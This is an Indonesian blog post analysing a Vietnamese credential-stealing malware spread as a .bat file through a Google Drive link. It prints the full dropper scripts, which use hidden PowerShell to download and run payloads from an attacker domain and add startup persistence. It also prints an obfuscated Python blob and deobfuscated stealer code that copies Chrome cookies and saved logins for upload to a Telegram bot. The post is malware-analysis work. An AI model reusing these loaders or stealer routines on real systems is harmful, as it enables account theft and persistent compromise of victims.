Fancy Vietnamese Malware Credentials Stealer

Last Update Article: 2023-09-18 20:44:00


Fancy Vietnamese Malware Credential Stealer Analyze

Assalamualaikum teman-teman, kali ini pingin bercerita lagi tentang sebuah malware, mungkin jika diceritakan awal mulanya adalah setelah hari panjang bermain gim dan mulai melihat-lihat Group Komunitas di Facebook, saya melihat ada sebuah postingan dari teman komunitas yang mendapatkan sebuah link Google Drive dari seorang perempuan yang dia tidak kenal, berikut adalah ringkasan postingannya

Untitled

Isi dari tautan tersebut adalah sebuah Winrar yang berisi sebuah malware yang ditargetkan ke windows os, karena isi dari winrar yang diunduh adalah sebuah file yang miliki ekstensi .bat untuk dapat melakukan analisa, maka saya menyiapkan environtmennya terlebih dahulu, saya menggunakan VM Windows untuk melakukan analisannya, unduh VMnya sesuai dengan Hypervisor yang dimiliki.

Specification Value
OS Windows 11 Enterprise (Evaluation) Dev 2308
Size 22,7 GB
Installed Application Visual Studio 2022, .NET, Azure, Windows App SDK C3, WSL V2, Windows Terminal

Setelah semuanya sudah ter-install dan .ova telah terpasang pada Vbox, berikutlah langkah-langkah yang saya lakukan, pindahkan file yang telah diunduh ke Vbox yang telah di-install

Untitled

Setelah melakukan ekstraksi, akan mendapatkan 1 file berupa .bat dengan nama Photo Producto Defectuoso.bat isi dari file tersebut berisi Chinese Characther, tapi?

Untitled

਍敀档景൦猊瑥潬慣湥扡敬敤慬敹敤灸湡楳湯਍਍敳⁴瀢扵楬彣潦摬牥䌽尺獕牥屳畐汢捩ഢഊ猊瑥∠楺彰牵彬慢敳㐶愽剈挰䵈䰶㥹慺㥇捷汇婵娳婰噇䵶兪䰳乭扶㥓奂栲戱捭临奪䰴灮捰㵁∽਍਍敳⁴稢灩畟汲∽਍潦⁲是┠椥椠✨潰敷獲敨汬ⴠ潣浭湡⁤嬢祓瑳浥吮硥⹴湅潣楤杮㩝唺䙔⸸敇却牴湩⡧卛獹整⹭潃癮牥嵴㨺牆浯慂敳㐶瑓楲杮✨稥灩畟汲扟獡㙥┴⤧∩⤧搠敳⁴稢灩畟汲┽椥ഢഊ猊瑥∠楺彰楦敬ℽ異汢捩晟汯敤ⅲ晜汩⹥楺≰਍਍敳⁴瘢彮浣彤楦敬扟獡㙥㴴浤甴㉙欱ഢഊ猊瑥∠湶损摭晟汩㵥ഢ昊牯⼠⁦┥⁩湩⠠瀧睯牥桳汥挭浯慭摮∠卛獹整⹭敔瑸䔮据摯湩嵧㨺呕㡆䜮瑥瑓楲杮嬨祓瑳浥䌮湯敶瑲㩝䘺潲䉭獡㙥匴牴湩⡧┧湶损摭晟汩彥慢敳㐶✥⤩✢潤猠瑥∠湶损摭晟汩㵥┥≩਍਍畣汲ⴠ™楺彰楦敬∡∠稡灩畟汲∡਍਍潰敷獲敨汬ⴠ潃浭湡⁤䔢灸湡ⵤ牁档癩⁥倭瑡⁨℧楺彰楦敬✡ⴠ敄瑳湩瑡潩偮瑡⁨℧異汢捩晟汯敤ⅲ‧䘭牯散ഢ挊⁤™異汢捩晟汯敤ⅲഢ挊污™湶损摭晟汩Ⅵഢഊ搊汥∠稡灩晟汩Ⅵഢ搊汥∠瘡彮浣彤楦敬∡

Apakah memang benar seperti itu? mari coba dijalankan saja filenya, dan benar saja, setelah dijalankan file .bat -nya terlihat pada tangkapan layar bahwa file tersebut menjalankan sebuah command untuk mendownload sebuah file, terlihat dari tampilan yang ada pada Windows Terminal yang ada pada tangkapan layar.

Untitled

Terlihat juga pada tangkapan layar pojok kanan bawah, Windows Defender terlihat “mendeteksi” sebuah threat yang dianggap “membahayahkan”, jika dilihat dengan detail maka isi dari threat yang terdeteksi sebagai berikut ini

Untitled

Malware yang terdeteksi adalah Wacatac.H!ml yang mana tersimpan pada C:\Users\Public\file.zip hal yang perlu dianalisa lebih lanjut sebelum ke file.zip adalah, bagaimana Photo Producto Defectuoso.bat melakukan PowerShell execution di mana isi dari filenya adalah sebuah chinese characther, hmm menarik bukan, setelah mencari beberapa sumber bacaan dan ada beberapa yang menarik seperti ini dan ini singkatnya adalah ada kemungkinan melakukan encoding ke chinese language, dikarenakan ini masalah encoding, maka saya akan mencoba melihat isinya dengan menggunakan shell Linux.

  1. Windows type

    Untitled

  2. Linux WSL cat

    Untitled

  3. Windows and WSL View

    Untitled

Terlihat pada tangkapan layar di atas, bahwa menggunakan type akan berbeda hasil dengan menggunakan cat sebenarnya masalah ini bisa dijelaskan di lain waktu, karena butuh elaborasi yang lebih membahas kenapa ini bisa terjadi. Sekarang mari fokus pada bagaimana malware ini bekerja, berikut ada isi dari source code yang ada

��
@echo off
setlocal enabledelayedexpansion

set "public_folder=C:\Users\Public"

set "zip_url_base64=aHR0cHM6Ly9zaG9wcGluZ3ZpZGVvMjQ3LmNvbS9BY2h1bmc4NjY4LnppcA=="

set "zip_url="
for /f %%i in ('powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('%zip_url_base64%'))"') do set "zip_url=%%i"

set "zip_file=!public_folder!\file.zip"

set "vn_cmd_file_base64=dm4uY21k"

set "vn_cmd_file="
for /f %%i in ('powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('%vn_cmd_file_base64%'))"') do set "vn_cmd_file=%%i"

curl -o "!zip_file!" "!zip_url!"

powershell -Command "Expand-Archive -Path '!zip_file!' -DestinationPath '!public_folder!' -Force"
cd "!public_folder!"
call "!vn_cmd_file!"

del "!zip_file!"
del "!vn_cmd_file!"

Pertama tempat menyimpan file sama dengan tempat sebuah threat terdeteksi, yaitu C:\Users\Public lalu terdapat sebuah uri yang di-encode menggunakan base64, yaitu aHR0cHM6Ly9zaG9wcGluZ3ZpZGVvMjQ3LmNvbS9BY2h1bmc4NjY4LnppcA== jika dilakukan decode maka hasilnya adalah https://shoppingvideo247.com/Achung8668.zip file tersebut akan diunduh menggunakan powershell command powershell -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String() dengan nama file.zip

Mari unduh file tersebut dan lakukan analisa apa isinya, dan ternyata masih sama saja isinya berupa chinese character, kita dapat melakukan cara yang sama untuk memahami apa yang sedang dilakukan oleh .bat ini

Untitled

Untitled

Isi lengkap dari vn.cmd adalah sebagai berikut ini

��
@echo off
set dQ=u
set UA=P
set bg=n
set Ug=R
set TQ=M
setlocal EnableDelayedExpansion
set Og=:
set Uw=S
set eA=x
set Jw='
set aA=h
set Tw=O
set aQ=i
set dA=t
set Mw=3
set QQ=A
set ZA=d
set Qw=C
set MQ=1
set Vw=W
set aw=k
set Lw=/
set eg=z
set Tg=N
set Yg=b
set Mg=2
set VQ=U
set LQ=-
set Ww=[
set JA=$
set KA=(
set cA=p
set SQ=I
set Yw=c
set bw=o
set ZQ=e
set cQ=q
set MA=0
set Rg=F
set KQ=)
set eQ=y
set cw=s
set bQ=m
set RQ=E
set cg=r
set bA=l
set Lg=.
set Zg=f
set Ig="
set IA=
set dg=v
set Zw=g
set YQ=a
set Ow=;
set RA=D
set dw=w
set XQ=]
set XA=\
cls
start chrome https://www.facebook.com/MetaforBusinessAPAC
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://shoppingvideo247.com/st2  -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat";
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://shoppingvideo247.com/Document.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://shoppingvideo247.com/Achung8668 -OutFile C:\\Users\\Public\\Document\\project.py;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py;
start chrome https://www.facebook.com/MetaforBusinessAPAC

Terlihat pada kode Windows Batch di atas, malware melakukan inisiasi banyak variable dengan isi yang random dan menambahkan options EnableDelayedExpansion fungsi dari options itu menurut ss64 adalah

Delayed Expansion will cause variables within a batch file to be expanded at execution time rather than at parse time, this option is turned on with the SETLOCAL EnableDelayedExpansion command.

Setelah membuat banyak variable random, program akan melakukan cls atau jika pada *Unix family adalah clear yang mana untuk menghapus output dan input yang ada pada Terminal. Setelahnya command start chrome [https://www.facebook.com/MetaforBusinessAPAC](https://www.facebook.com/MetaforBusinessAPAC) akan dijalankan, command tersebut akan membuka aplikasi chrome dan membuka page facebook seperti berikut ini

Untitled

Terlihat dari jumlah likes yang ada dan status account verified [meskipun tidak menjamin] terlihat akun ini Legit milik Meta Facebook, tujuannya mungkin untuk mengelabui saja / agar user merasa sibuk saja. Setelahnya adalah part utama dari Malware itu sendiri, pada bagian kode

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://shoppingvideo247.com/st2  -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat";
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://shoppingvideo247.com/Document.zip -OutFile C:\\Users\\Public\\Document.zip;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://shoppingvideo247.com/Achung8668 -OutFile C:\\Users\\Public\\Document\\project.py;
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py;

Dari semua baris yang menjadi entry point malware tersebut mari dibeda satu-persatu sesuai dengan urutan barisnya.

  1. Pada baris pertama
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://shoppingvideo247.com/st2  -OutFile "C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\'Start Menu'\\Programs\\Startup\\WindowsSecure.bat";

Program akan melakuakn unduh ke tautan [https://shoppingvideo247.com/st2](https://shoppingvideo247.com/st2) dan menyimpannya menjadi WindowsSecure.bat pada path C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup\ lalu isi dari variable $([Environment]::UserName) mirip dengan variable $HOME yang ada di Linux, isi dari tautan tersebut adalah sebagai berikut ini

Untitled

cmd /c C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Windows\\python C:\\Users\\Public\\Windows\\project.py;

Isinya adalah command batch yang lainnya yang menjalankan sebuah script python yang ada pada sebuah path.

  1. Pada baris kedua
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://shoppingvideo247.com/Document.zip -OutFile C:\\Users\\Public\\Document.zip;

Baris tersbut akan mengunduh sebuah Dokumen besar yang bernama Document.zip yang akan disimpan pada path C:\Users\Public\Document.zip isi dari dokumen tersebut adalah sebagai berikut ini

Untitled

Isinya adalah installed intepreter dari python3.10 itu sendiri, yang sudah dilakukan kompresi, tidak ada yang mencurigakan.s

  1. Pada baris ketiga
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\\Users\\Public\\Document.zip -DestinationPath C:\\Users\\Public\\Document;

Command Powershell Expand-Archive akan melakukan ekstraksi kompresi yang sudah diunduh tadi menuju path C:\Users\Public\Document kompresi yang dilakukan ekstraksi adalah intepreter dari python pada baris no-2.

  1. Pada baris keempat
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://shoppingvideo247.com/Achung8668 -OutFile C:\\Users\\Public\\Document\\project.py;

Pada baris tersebut powershell akan mengunduh sebuah file dari path [https://shoppingvideo247.com/Achung8668](https://shoppingvideo247.com/Achung8668) isi dari file tersebut adalah malware sebenarnya, yang akan kita bahas setelah baris ke 5. Hasil unduhan dari file tersebut akan disimpan pada path C:\Users\Public\Document\project.py

  1. Pada baris kelima
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\\Users\\Public\\Document\\python C:\\Users\\Public\\Document\\project.py;

Pada baris tersebut powershell command akan melakukkan eksekusi file [project.py](http://project.py) dari hasil unduh pada baris ke-4 yang mana eksekusinya menggunakan intepreter dari python3.10 yang telah dilakukan ekstraksi.

Kelima proses tersebut dijalankan dengan mode -windowstyle hidden atau simplenya dalam background yang mana user tidak dapat melihat proses tersebut

Dive into the Malware

Pusat malware yang akan dieksekusi adalah berada pada uri [https://shoppingvideo247.com/Achung8668](https://shoppingvideo247.com/Achung8668) jika dilihat isinya adalah seperti berikut ini

Untitled

exec(__import__('marshal').loads(__import__('lzma').decompress(__import__('gzip').decompress(__import__('bz2').decompress(__import__('zlib').decompress(__import__('binascii').unhexlify(b"789c01dc1423eb425a68393141592653596fdbcb45000139ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe00c3f3ddf7df7de9ef4bdf7befbd6d7d9f7bbdeee97cfb7dcfbb77ddadf6e9bbbb6faf7bbddef8f9df1ed7dee7bdf55f2131a0d4f49e827a4c21934f534d181a8d320c4c8f48c9a1e8993027a993464f53460043d47a8cca6035309835309a68d1a69a794c8c65343207a99a8f50d33427a27932651e26434d134dea9a369147a6a786a9ea332609a9e9813d53da1314cd3683453f4d49b227926da48d8a6cd53cd1351e1353cd2613c94f053d8923da6a6d266826a7a8f49ed27b48c204c6990c8321ea06527b54d3f23518a69e994f053f5324d8a6ca214f2279a0083643546ca79a354f6a66930d534f5368cd28f130d1aa794fca60d53f523d4da64f54f0536d09a0cc23253f298d190329e4d34d29e6a653d1ea99ea9b26a3f4d13c9a26994f269a9e1353da4c4308c26269a33543a8618a3d4c43d09b4d0988c27a26869a69932621a7a8da1327935327a649b4192794d3d1a99a191365347a6a69b2436a620c0819a8d311e4d2687a9e93461a9a6d1a46d41e84d340d1a64d343008a37a6a467a3547927bd54fca329e9a6d49e4f53d53d3c46a7a69a6a6ca7a4f54fc11826a7a8d4f49fa9b4d29b35469f8a304d329a7e9350fd4daa1e49f943d0ca7a536d0a66993d4d0f53ca329ea7a4fd44c6466a7aa643c936694ff526a7a27a6ca9a3cd247a7aa0ca9b2327a434d4d913c46104cd21804646a3da4f534d3d279123d314f68d4d3269a9b53c7aa34329e4d1936a34f50c348c9ea66a7a8f6a021ea353da89fa4c47a5369a6993053f52613693343118984699a29ed266a02250469b50bc0453388f4af69a386886105246894b119db86114117995d6519d18379db91978654e0f47b050149aef7cf0e0c834dfb8f41f6ed299b601b6b32fd35a67edf0bfdb107416c5e35c13f87b417fe37864c08875c65af7e706786758d9238f24a08993b9fbb1e83324a2de166dba917d3bb06e71a6b305466c5822d957a60267b722a38346c10306386d97e2735459fb622271776b3fd6680ecd33c1745e1fc447a1ca08c5f8452e931b56c5caddab41a0b9f947508bda744914b7865f936a373a0ce4f5c44d9343446e15c34066d33b9429c5a1dc940ac35bc6ed322ca178c01f509cd5fad67a794966e6ea75906ec7d856a5d82ee8a9982ae92e4b2bd80077c5c954365ca6147caf4158af394dea902636e33a36eb0ad5546681d3089cec93d9b0e712914df97181f93b66338f3442ba3afd94c611eaa9698163635c292b2c75b365bba4960ed5d6da29cd74dd6d7959caab07d41161b193c49d78491dffebffa8115e2061bd93f4eac0107d1cc976df31f1276bfe2c78640e4ec24e5f6db441235ca24491be558e1e4fedae6aa7c0529f19b05ac8425f08ca92684e18c166d2a9561fbf9ac56b6e5ce50fc5342b4a8e42cf2764b23c0437dddf1a5e599211e93479cd8c8aed4297a60313e452d574af2a45b1449007a0d330eaa3609998dcca3fa3715e0d425495cec332a5a6eb14c4d78f790c27ce3c99a1c2b3325b99efb85c588b4f54f3315d20782b2616c7638fd8d05a1ebd2a07466c62f0da9e1b4c1d2867b9a4e92143cf3e568ea741ac9e12e51611eec72e9470794d59483320a47d5064f1b41246049ef614fc392d2d49ccb28685b48661a568dfc398cfc64db3592c4094290b880518a2900d5406654d085f9eba7038eda6e47bc606392779797dec4e82ea19e650bfae8b3188575ef55af1c549f761247ca7b74ebded18cc3ec9f2cecdf13eca85864497b389b957179f93bd39a60fc44e23f1b674e867d72a42d8299db823638218fa39acf1a0e8fc0d68a5c3a2d6e2e172ccc8ed1cc8f55155f23f7a674664fb8cfdadc69eb413a3ad5823f8df66de8ebce21830680fb8c68d3c8505ee873293a0d81fe466747782116834e6462a700e652b89c9542803b67ce106466e8cffc4115e6d95e37cde377c88ce789278264688c950eafe8fcb5b62768b040359133fed468710ab99b099e51686cfd41af42852a58174b9aac8925babd956ba0822e95419379038aa0aa49c1629804ac65b62efe1fda6906fe91904c00a6fcac0893943673ddaa193b025846627d5e9aea5b56c8f1ffe07372eac6149d0132b5a36e0cbaa1721dc6f8cd21a0886533924d333e2fbf81ac1dff9d9324dea4db71194c3011b7d43e8a15152f39f9e45bd1b0204fe5d64603685aa880de0394fdbe7d6bc31b8c27b45ae223a75cd68f86d224028583d770d4f28737ef322041428f6d3b0e3b8fae28a3f6e9fa14fe804106fb2e3d97bdf6bc9ed1ac3b0f9457db06afd392341fca431faca926c8af6b1552d0a7cf43f76931a7c24851e3a1ce3bcefdd653cc76c06c1897874c8917077be3f8cf521d24f108e191b90e720f1f302ae1a1bbea890179eb6910332169225f516dd1498e43c2ac7e29cc3e82a23e3e03ad488f221ac28d228144aec3da39064e06f29732e83838774cdf81b7dda758900d3ba89a716c4117dee00fbb85a5a17f9e8c829b66e84ab26d6a034baf396adaf4751555a945bc680d0f43d9bed4476ee5d68f345e77492a8b1c7eca1ad2b789acab25df727f8174bcdcd71d18fcd0b5483fdc33540e4c2d714554b6598883eb439e10bf948e8c977f08232971412510f6b6b1fa22cfde77f1ebd80696aef35d2646b9a0d56646f93566c96797d8012916df7b7343364cd50f624d56f5b30c6e91fb98d60cd5c6af3cfc104a1aa0b552a0f6fcf87edb013d9e05bad884201234b4aae37ceb3a70f0fd0535e80149034a6746ea232c6c3b2d14a03890c44650c0f3c2a1b0a69a7155db6dcc5d8901d9807ca9d8b755fec86014635832f935907a4944e6669c146c2eaf29c5cb32e6057c6913a13f51186e922fd91fb2c9d82a82165945663916965a1e43b1ee266353c8d594d4c4593ba8750600c48de5ed27a1dccbd9c81dd79dea2c9997e8f617d4f5a7ed843efd6bf31a46376eeba49764ae2bc0c0b8680f9c6562ea02335c8728f7d47aee76cbbd9db25db8fdbf90784228803b0e756dd99665d7de89e1369ed2bf39840195ae0ed2d72c7a2544c52686a9685d3a0ca4d1f787069458e06e842f5c6041f05f3bd6b33d0c6192a682387c3f032d23e642ad0d546746f5893125c98dac53dfd07f480409cdc95cabafe681dcc23db5bc6c4e2377c78372dcd281c171e873189d3e8b002f9d62f35eb4b737e512c6b484d29e045ecef564d1836d65cbc56e07363e7d93d0c8a1f518b97b614c1c4f7583c91284d0e77f63a837f8dded0ee6aef2e7e9499188d96af207a37097c67c8bec23ee1fe17e9b1e5071882eccd5ffc2fae3da96e3a517685bd58b7820c65b64c3779d02e65ca5dc75bede2c4473911fd35394f864415951e602f748e4f6587ff53c9511ad512acb17e5e83dbf802a67a8982e57028712775183856e512416baf8f88c8476830a3d0c0daa9d1936245733c0bdf3f77bebfcf5cdaebf5a5c2fae540763b69c8eb22d99164b963b2d24af4641fb4ef9c304cf13fd5fd7de928a68101a1f27906dd4c9ded9ac4427f1f7246441053d2b7a463e6bd4ed0e84d7d82a72e5ce67c0dbd2326c6a4c8ba374b101d0962f15aec15f6877ae893454c029b912a5538229da59b58870f7106c648ef7a8cf56eb6164a329387ea06675b9eb8faf32fe26f2aa50ab0e1e2c5e51da04aad1fce678e3b4343c0b29ad6608a78e78edca64df61edf64b25c4353bcc1acb26b988ff19e60e50d54d9f5f8a4def3d834cfbb23e7ec42e1e690553f5987d88bfd44992d89283a35d3ec91e25994cb041382d9fb0d703329e26d16ff01155ad5fa7bbc2691832afc123cb2efd0180e7386b5880998d4ab0dac0deacafadba581b9424a3523e64fbb5a7eef7fa79fe570a475855231a260f7b21d37f556addf30ff9215ad465949cdb85422e6c93fbd437a22cee1944c71094cdae5a32f4ae6e7be1b2726c48049a72ff14f06102eb9b2b410d8bc630cf723eb73ad6d7292475fa50dc59b137afce484b1665cfd5ab2948ee8b870499e7bcd5995ef50124142b8246ef2b61137741f02a4b6a961e4a955b9df6530d4723cdc1bf0ddc59a3f02b5c3dae1eb296de03b828f6db4258c5704dcc06a1c3bc268633e1c9d141579cd3dc5eca7e1a3db216c74a53f6e1546c26b726188cb9609a5ef8ed982336a3464968d34989fbfd4d8e291435165c4437c25df1edae18751dc7cc8f1b8a8a6393205a794ac68dba730d4c8417626eb9f60146fadebc2534611eac55e6eb5acaf584c79b87e08fdf4cdfaf45c991e10ee03dddb8b6dd9e341cd9e3971c17823c63183f9a2423e7dad473210b9dfb63c92df227905cf1ead971dcfc9634978a0162c00f8e3be39c4691cdddcb05f5c2c28692bb5b7df3732a88dde0aac3ce3ff3cd403c85e0452b6beae186f2a7513ddc6457a17c0309827971aeb60d3b48f9cceba499c41e2bd696ad8b90e7b63360c056553f5e53a1e94c6fc8698e6df6f86cec85a512f17b3c59bba1777c54fafc14d519e61c15795f98725bfc1233c15544d0b83831dd463dfadac9b5d37293e28a773184ecc1369b670444fad970b862b8684df572d1c5e8df1b6b310ccbeef1be2ad8953c47cdb9634ec98ff1a491adb6dc433f4fe960616d241c9dd5191a12a397b2a9096cba2819045124e8e4f36e068ce9446fb03ab1d36ab13571fafe27e99a187cc5a37e9c182e14f3e211d75d796c31ef381af85b6d102cfb301fc6ca169704dddc2e9176a738bb90bc332437b8bcf479e1da38fc47551f4369f3462e8a1ef8d411bfd888294fd4cf0ecb65988b9f792bc4a09b532c6a131fdada8500abe72a18afea3bca079d5b162bfec4623ebd0cfed9dd86db94ad364b09bee8ecb38583890b6766fac36e7f576d59c3ab374ac7b76c88d2ff3a6fcdcc9a56f35eb554a697af8e2d7cb39a62008f5fa745f0cb8d0462597662e0ddc62bd521277b74152954e21aca108a1931fa51278eb0ea05475c8b509a918fe4ecd791a18de2cbc06861b54c734e1c079deb74c9d924566361c57ca88c4b013ed78aebb2fe0447e14d7dc6600ebf4097dcc1e9a27eab8627da13e2d431e3355b219751a8ce3b83582f96ae41e19ae553b8fcc408d46fa67a0c1efe7578ecc29a3e1a65727bd327a111062c915dacabe4a1fa6dc3c4362df94c5e26afc6ac19ee8e5d4ebe2a80b91dc8cb5273c4abcd8d957da7aafb8c874c2c16d9e7346061a092ed4e940220fceefeabd842a5c7df2febddbbb70fd8655f630fa1c28906717cf2eebc0e94191a1aed54774562964dcaaebfdd7a4e949f0de7520549674fdb76f6dd9d0781ac5ee20d21cf977e105b60816a040f2c97eda8f9d1b0891e15e4765147742dc5e2f1232ae3deb1249a63b809e2cf6169cc28054b19eaa38aa0dd1bc07977f7b222096159c492278895699c44bd7995c6efcc558fb1040f3ee580a05683a69f43804b7f8eedbcf93d72f092186d45d11793c7effd992296b64c489dd409cee593aea88730eb2786bfa0beacb660b471619b29e7b3675a821711370ac172ac980b6ae972b820f518f2d8de2f5f069b722f393fe941abf97804b4761a43671cecd18e2387e152c197aeca0caa77ca8b36bc5ea425c4d601745048a13604474ac02f319c8ed27971eb2d11daabb99a576f1b6dae926dfbe42c1ee2016be763afb09961f15cfcc90ad284fe00f17933184d5364e4c889ea4d7bae25efb5e87a5efd3a98416b5b3d4886a39f240a016df32d52aff42d70b41ddf26dcf788382c0c117ab296cc8b38abb760c71b7a8c1497377b67e08a0285f20401c9e2275f6218ac23bfbd4beb913cd090db6fb09356661fd7ef6322e6f2fc40247d625dfe5e91162554906511ca9e53b8e33b310fbcb19b731909a52e6f8b7f1c44c6efee68474f6311ef9d17734d8bbc984182e24c1bc45c695290bb8529dc0b625fba2cbd8a0b24f637673c4eb95466a337422aa5d568ff4527e5f8c79f60b209ee8345e69806708eaf8ecb9d511cfbd800688f5d1c59084a2f7db75f0d46acddd3beaddd21225eeccc8c72a8a172cc69c5e0d054ab2847b3fda9784e4e05543e11e3cc00393ed49c5848675204ce2eb7badef16e1897d9d7795098e9a9c04c0313fb69c8bf8fd1a189a58b6feab43d8ea74d542d3f7fb1802e6cbc8d13de8afd390864cce91647c47bd8365759a9a1d2ec29ae846de99aa5b16f475b6974096447788a25992bf39a6aac4bf35e72632e5af730181b442b91af75f5c069da0437b9e143a0cb74e8c20c418b24f222014ff03a5a4952fc2bc982aad46d9f16944df2372f580298de3368b54920cd506440a491f5c8f2d9e99896ff541c8b10ca8e886f5ee2aa6df0627f1299f50b8154226880491a40de91373bf88b86a873376210bccf42bec833db504dd832728793102525160fa7383b8ea96696e1f8670a41b986a2ec77f4626a1615da29798e062068941757dbd6d66e1899fbf000334c4c32f9fd1b3b7145f7d18c876ee9a4aabc1f0518bdc6fb08503a325948c37afa2195628a8283bb3fe69894136f9d48daef29dbfebaae7156285370813f671ab19e66b878bc78f710d6ed404c2645e968532888b385b0b346cf9988c776abb41c0a17cc2af4ec90354c6c96b23f4069fbaf566f052e1a9a140f8c3393f3c9f014a203ddc8d928ddb04ee7c9ceebb4c668f5aae39ea689734b2066faf174c22eaddb66e9262bed89f4ce99f0e2ed4ee632d71a777d5d7ef10d8cd62a543b51bc8e8f8dfb893150329d52c11e562ecd548bf81a401841871ede6bae19422ef96ae57e77f6d431281c08dfd4f85e33d9855a227d9a9848b39d907a5b6ae7c9808deecb77220814b1a55e9c070d2fd0e02e729d0c1520cec13060e08631eaf4f37046863d77b0b2282ef41a44a84b21d784af9e2cd02cfbdcd02c84eaa7c2a024ee2a339b5a3285cf5bc138fccd6aed1fbe106cf00848c09fa1ca979209cd651217232f331d4fd57d730cbbfa975d797302cc69f7226f3c72b18b3962f3f792f2c8cb84724e8f15294466988831a6ee45d219a29a09a7271ec8d4424560a5fe9e2de649a99bf1b40226378528a56133a256d7ee49226f042fc8948dd57e24befb12407f37837f42cdba91d5e5e8174fb239cdd9b4c9bbf52ec99668df5bc15ab2cb3e3ac454231fb52b81f8007912911172371994557356fac91cb9148e202c9d7eef3732b71dd3b4c79e25b1c2163bd97a2333cc3a84ac53cc3d462218279b854430a2c672caa9149a70af336398d0f4777531c3c5f29fd923421ef0d961a90e8af0104fe2eb591792398f57a0f3be92aa3eecd8b5506e82963963822fa15b0df303d7cbbfa54b736cc69024539f513cee32a499f5b22349bb15b4a9a7733b5ddcd7223644817e6a0e32695bb4ad6edf8a58d0a1251a824351d8929b010c3daa590ffc5dc914e14241bf6f2d140cfdc868f")))))))

Terlihat pada tangkapan layar di atas, terlihat syntax python yang telah dilakukan encode beberapa kali, cara cepat untuk mendapatkan real source dari data tersebut adalah dengan mengganti fungsi exec dengan print pada intepreter online python, kode bisa dijalankan pada tautan ini

Untitled

Terlihat sudah ada di bawah untuk hasilnya, tinggal melakukan perapian data untuk mendapatkan hasil maksimal, dan di bawah ini adalah hasilnya

import random
import requests as x01
from datetime import datetime,timedelta
import os,json,shutil,win32crypt,sqlite3,base64
from Crypto.Cipher import DES3
from Crypto.Cipher import AES
from pyasn1.codec.der import decoder
from hashlib import sha1, pbkdf2_hmac
from Crypto.Util.Padding import unpad 
from base64 import b64decode
import hmac

fud = base64.b64decode("LTk2MjEyNDk0OA==").decode('utf-8')
crypt = base64.b64decode("aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdDYzNzkwNDY3ODc6QUFGNmZfdTE4dXN1b01rcllqUUZtZWoyblNfODA1WE5NdE0vc2VuZERvY3VtZW50").decode('utf-8')

def check_chrome_running():
    for proc in os.popen('tasklist').readlines():
        if 'chrome.exe' in proc:
            return True
    return False
if check_chrome_running():
    os.system('taskkill /f /im chrome.exe')
else:
    print("")

now = datetime.now()
response =x01.get("https://ipinfo.io").text
ip_country = json.loads(response)
ten_country = ip_country['region']
city = ip_country['city']
ip = ip_country['ip']
country_code = ip_country['country']
name_f = country_code +" "+ ip 
newtime = str(now.hour) + "h" +str(now.minute)+"m"+str(now.second)+"s"+str(now.day)+"-"+str(now.month)+"-"+str(now.year)

def find_profile(path_userdata):
    profile_path = []
    for name in os.listdir(path_userdata):
        if name.startswith("Profile") or name == 'Default':
            dir_path = os.path.join(path_userdata, name)
            profile_path.append(dir_path)
    return profile_path

def get_chrome(data_path,chrome_path):
    data_chrome = os.path.join(data_path, "Chrome");os.mkdir(data_chrome)
    profiles = find_profile(chrome_path)
    for i,profile in enumerate(profiles, 1):
        try:
            os.mkdir(os.path.join(data_chrome,"profile"+str(i)))
            def copy_file():
                if os.path.exists(os.path.join(profile,'Network','Cookies')):
                    shutil.copyfile(os.path.join(profile,'Network','Cookies'),os.path.join(data_chrome,"profile"+str(i),'Cookies'))
                if os.path.exists(os.path.join(profile,'Login Data')):
                    shutil.copyfile(os.path.join(profile,'Login Data'),os.path.join(data_chrome,"profile"+str(i),'Login Data'))
                if os.path.exists(os.path.join(chrome_path,'Local State')):
                    shutil.copyfile(os.path.join(chrome_path,'Local State'),os.path.join(data_chrome,"profile"+str(i),'Local State'))
            copy_file()
            delete_file(os.path.join(data_chrome,"profile"+str(i)))
        except: shutil.rmtree(os.path.join(data_chrome,"profile"+str(i))) 

